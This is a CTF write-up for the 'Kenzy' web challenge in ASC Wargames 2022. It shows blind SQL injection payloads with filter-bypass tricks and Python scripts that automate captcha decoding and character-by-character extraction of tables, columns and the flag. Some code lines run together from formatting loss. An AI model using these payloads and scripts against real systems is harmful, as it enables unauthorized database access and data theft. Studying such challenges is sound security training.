ASC Wargames Qualifications 2022| Kenzy | Web Challenge Write-up
Hey folks, I am Adham Makroum aka 0xmkr24, This’s my Write-up for Kenzy, it’s The Hard Challenge in ASC Wargames CTF 2022 Qualifications, and my team z01dyck is ranked 18th
This challenge had 900 points
First, visit the challenge, I found a login page with captcha
I checked the source code and found username → admin
and captcha file →/scripts/captcha.php
CTF organizers have warned us not to use brute force for passwords or directories and whoever does this will be banned
so I tried basic SQL injection
and this is the response
I noticed there were no SQL errors raised so it was a blind SQL injection, and the space and or
been filtered so let’s try to bypass it
Blind SQL injection → if the query is true = successfully login, if the query is false = failed to login
the response gives me a statement error because there’s syntax wrong in the payload.
I first tried some encoding but it got filtered so try to replace space with /**/
and or
with oorr
I tried #
To successfully login
The payload will be -> admin'/**/oorr/**/1=1#
We have now successfully logged in, but unfortunately, there is nothing interesting
let’s try to exploit Blind SQL injection
Exploitation
What do we need to do?
- Write a script to bypass Captcha
- Write a script to exploit Blind SQLI
How can we exploit Blind SQLI?
Getting the tables
- Getting the number of tables
- Getting the length of each table name
- Getting the name of all tables
Getting the columns
- Getting the number of columns
- Getting the name of each column
Getting the flag
- Getting the length of the flag
- Getting the value of the flag
Captcha
Captcha is generated in a php file called /scripts/captcha.php
I downloaded the source code and then noticed that the captcha is exist as a string but it is double encoded as base64
so I created a function called get_cap()
to request capatcha.php
then decode and grep captcha value
Blind SQLI
this demo.py script will execute SQL payloads that I enter in sql>
prompt and take a captcha value then pass it to request.
and want to thank my teammate for helping me write this script
# demo.py
#!/usr/bin/python3import requests
import re
import base64s = requests.Session()
def get_cap():
resp = s.get("http://34.175.249.72:60001/scripts/captcha.php")
data = str(str(str(resp.text).split("\n")[-1]).replace("\"","").replace("\n","").split(":")[1]).encode("utf-8")
captcha = base64.b64decode(data).decode('utf-8')
captcha = base64.b64decode(captcha).decode('utf-8')
return captchadef execute_sqli(sqli_payload,captcha):
username = fr"{sqli_payload}"
body = {"username":username,"password":"admin","captcha":captcha,"send":"send"}
resp = s.post("http://34.175.249.72:60001/index.php",data=body)
output = resp.text
return outputwhile True:
sqli_p = str(input("sqli> "))
if sqli_p == "exit" or sqli_p == "Exit":
break
cap = get_cap()
output = execute_sqli(sqli_p,cap)
print("\n"+output+"\n")
Blind SQLI Exploitation
Getting the Number of tables
To count the number of tables we can use the
COUNT()
function.
Query: SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database()
database()
: to get the database name
payload: admin'/**/aandnd/**/(SELECT/**/COUNT(*)/**/FROM/**/infoorrmation_schema.tables/**/WHERE/**/table_schema=database())=1#
- as I said before, the backend filter space and
or
,and
so I use/**/
bypass space filter andaandnd
to bypassand
filter - and use
infoorrmation_schema.tables
becauseor
It will be filtered so need to bypass
if the query is True, will retrieve
Treasures are always in the database
if the query is False, will retrieveInvalid username or password
I tried to loop on the number of tables till I got Treasures are always in the database
The number of tables is 2
Getting the Name of all tables
We use
LIMIT
to select each table individually, this’s basic usage for limit
SELECT * FROM table_name LIMIT 0,1
// Select only the first table SELECT * FROM table_name LIMIT 1,1
// Select only the second table SELECT * FROM table_name LIMIT 0,2
// Select the first and second tables SELECT * FROM table_name LIMIT 1,2
// Select the second and third tables
Query: (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)=1#
Payload: admin'/**/aandnd/**/(SELECT/**/LENGTH(table_name)/**/FROM/**/infoorrmation_schema.tables/**/WHERE/**/table_schema=database()/**/LIMIT/**/0,1)=1#
I tried to loop on the length of the first table till I got Treasures are always in the database
- The length of the First Table is 5
to loop on Table 2 replace Limit/**/0,1
to Limit/**/1,1
- The length of the Second Table is 5
Getting the name of the first table
Query: (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1) LIKE 'a%'#
Payload: admin'/**/aandnd/**/(SELECT/**/table_name/**/FROM/**/infoorrmation_schema.tables/**/WHERE/**/table_schema=database()/**/LIMIT/**/0,1)/**/LIKE/**/'a%'#
you can use ASCII instead of Limit
admin'/****/**aandnd/**/ASCII(SUBSTRING((SELECT/**/table_name/**/FROM/**/infoorrmation_schema.tables/**/WHERE/**/table_schema=database(),0,1)))=115#
but I edited my script to brute force on every character
def execute_sqli(table_name,i,captcha):sqli_payload = "admin'/**/aandnd/**/(SELECT/**/table_name/**/FROM/**/infoorrmation_schema.tables/**/WHERE/**/table_schema=database()/**/LIMIT/**/0,1)/**/LIKE/**/"
username = fr"{sqli_payload}'{table_name}{i}%'#"
body = {"username":username,"password":"wef56e","captcha":captcha,"send":"send"}resp = s.post("http://34.175.249.72:60001/index.php",data=body)
output = resp.text
return outputtable_name=""
word="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
for pos in range (0,5):
for i in word:
cap = get_cap()
output = execute_sqli(table_name,i,cap)
if "Invalid username or password" not in output:
table_name+= i
print(table_name)
- The range is based on the length of the tables
- To Bruteforce on the first table →
limit/**/0,1
→ the First table name issolve
- To Bruteforce on the second table →
limit/**/1,1
→ the Second table name isusers
Getting the Columns
Getting the Number of columns
Query: (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='solve)=1#
Payload: admin'/**/aandnd/**/(SELECT/**/COUNT(column_name)/**/FROM/**/infoorrmation_schema.columns/**/WHERE/**/table_schema=database()/**/aandnd/**/table_name='solve')=1#
I will use demo.py that I posted above to get the number of columns
The number of Solve columns is 1
Getting the length of each column
Query: (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='solve' LIMIT 0,1)=1#
Payload: admin'/**/aandnd/**/(SELECT/**/LENGTH(column_name)/**/FROM/**/infoorrmation_schema.columns/**/WHERE/**/table_schema=database()/**/aandnd/**/table_name='solve'/**/LIMIT/**/0,1)>=2#
if the length ≥ 2 then try a bigger number like 5 it will be false so reduce it to 4 then the length of the column is 4
admin'/**/aandnd/**/(SELECT/**/LENGTH(column_name)/**/FROM/**/infoorrmation_schema.columns/**/WHERE/**/table_schema=database()/**/aandnd/**/table_name='solve'/**/LIMIT/**/0,1)=4#
The length of the column is 4
Getting the name of each column
Query: (SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='solve' LIMIT 0,1) LIKE 'a%'#
Payload: admin'/**/aandnd/**/(SELECT/**/column_name/**/FROM/**/infoorrmation_schema.columns/**/WHERE/**/table_schema=database()/**/aandnd/**/table_name='solve'/**/LIMIT/**/0,1)/**/LIKE/**/'a%'#
use the edited script above, and set
- sqli_payload =
admin'/**/aandnd/**/(SELECT/**/column_name/**/FROM/**/infoorrmation_schema.columns/**/WHERE/**/table_schema=database()/**/aandnd/**/table_name='solve'/**/LIMIT/**/0,1)/**/LIKE/**/
- username =
fr"{sqli_payload}'{table_name}{i}%'#"
The name of the column is flag
Getting the length of the flag
Query: (SELECT/**/LENGTH(flag)/**/FROM/**/solve/**/LIMIT/**/0.1)>=30#
Payload: admin'/**/aandnd/**/(SELECT/**/LENGTH(flag)/**/FROM/**/solve/**/LIMIT/**/0.1)>=30#
Try many numbers as I did before to get the length of the flag
The length of the flag is 30
Get The Flag
the final step is to get the flag
Query: ASCII(SUBSTRING((SELECT flag FROM solve),0,1))='65'#
Payload: admin'/****/**aandnd/**/ASCII(SUBSTRING((SELECT/**/flag/**/FROM/**/solve),0,1))='65'#
I edit my script to brute force for every char in the flag
#!/usr/bin/python3
import requests
import re
import base64flag = ""
s = requests.Session()
def get_cap():
resp = s.get("http://34.175.249.72:60001/scripts/captcha.php")
data = str(str(str(resp.text).split("\n")[-1]).replace("\"","").replace("\n","").split(":")[1]).encode("utf-8")
captcha = base64.b64decode(data).decode('utf-8')
captcha = base64.b64decode(captcha).decode('utf-8')
return captchadef execute_sqli(i,captcha,pos):sqli_payload = r"admin'/**/aandnd/**/ASCII(SUBSTRING((SELECT/**/flag/**/FROM/**/solve),"+f"{pos}"+r",1))="
username = fr"{sqli_payload}'{i}'#"
body = {"username":username,"password":"wef56e","captcha":captcha,"send":"send"}resp = s.post("http://34.175.249.72:60001/index.php",data=body)
output = resp.text
return outputfor pos in range(1,30):for i in range(31,128):
cap = get_cap()
output = execute_sqli(i,cap,pos)if "Invalid username or password" not in output:
flag += chr(i)
print(f"flag: {flag}")print(f"Final Flag: {flag}")
Finally, the flag is ASCWG{23fsdc$@#EAScasq12_hard}
In the end, I want to thank Abdulrahman-Kamel the author of the challenge because it’s my first time doing full exploitation for Blind SQLI
If there’s any step wrong Feel free to ping me because I couldn’t take notes from every step in the challenge
Don’t forget to follow me on medium and Twitter
Thank you for reading
Reference
- Blind SQL Injection → all payloads that I used was here
- MySQL SUBSTRING() Function
- MySQL LIMIT